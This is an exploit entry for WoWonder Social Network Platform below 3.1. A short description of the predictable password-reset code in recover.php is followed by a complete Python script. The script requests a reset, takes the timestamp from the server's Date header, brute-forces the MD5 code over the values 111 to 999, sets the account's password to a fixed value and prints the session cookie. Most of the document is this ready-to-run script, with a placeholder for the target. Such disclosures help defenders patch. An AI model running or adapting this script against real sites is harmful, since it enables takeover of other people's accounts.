WoWonder Social Network Platform 3.1 - Authentication Bypass Exploit

# Exploit Title: WoWonder Social Network Platform 3.1 - Authentication Bypass
# Exploit Author: securityforeveryone.com
# Researchers : Security For Everyone Team - https://securityforeveryone.com
# Vendor Homepage: https://www.wowonder.com/
# Software Link: https://codecanyon.net/item/wowonder-the-ultimate-php-social-network-platform/13785302
# Version: < 3.1
# Tested on: Linux/Windows

'''
DESCRIPTION

In WoWonder < 3.1, remote attackers can take over any account due to the weak cryptographic algorithm in recover.php. The code parameter is easily predicted from the time of day.
The vulnerability is found the "code" parameter in password reset link. The password reset code can be estimated by combining the password reset link time and the random value generated between 111 and 999.
if an attacker exploits this vulnerability, attacker may access all accounts in WoWonder application.

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'''

import requests
import email.utils as eut
import calendar, time;
import hashlib, re;

url = "http://wowonderlab:80/wowonder/" #change this with your target
myheaders = {"X-Requested-With": "XMLHttpRequest", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "Connection": "close"}
recoverdata = {"recoveremail": "[email protected]"}  #change this email with your registered wowonder email address
req = requests.post(url+"requests.php?f=recover", headers=myheaders, data=recoverdata)
b = eut.parsedate(req.headers["Date"])
respepoch = calendar.timegm(time.strptime("{0}-{1}-{2} {3}:{4}:{5}".format(b[0],b[1],b[2],b[3],b[4],b[5]), '%Y-%m-%d %H:%M:%S'))

for token in range(111,1000):
    str2hash = "{0}{1}".format(token,respepoch)
    email_code = hashlib.md5(str2hash.encode()).hexdigest()

    req_reset = requests.get(url+"index.php?link1=reset-password&code=1_{0}".format(email_code))
    if len(re.findall("New password",req_reset.text)) == 1:
        print(email_code)
        resetdata = {"password": "10711071", "id": "1_"+email_code}
        reqtoken = requests.post(url+"requests.php?f=reset_password", headers=myheaders, data=resetdata)
        print(reqtoken.headers['Set-Cookie'])
        break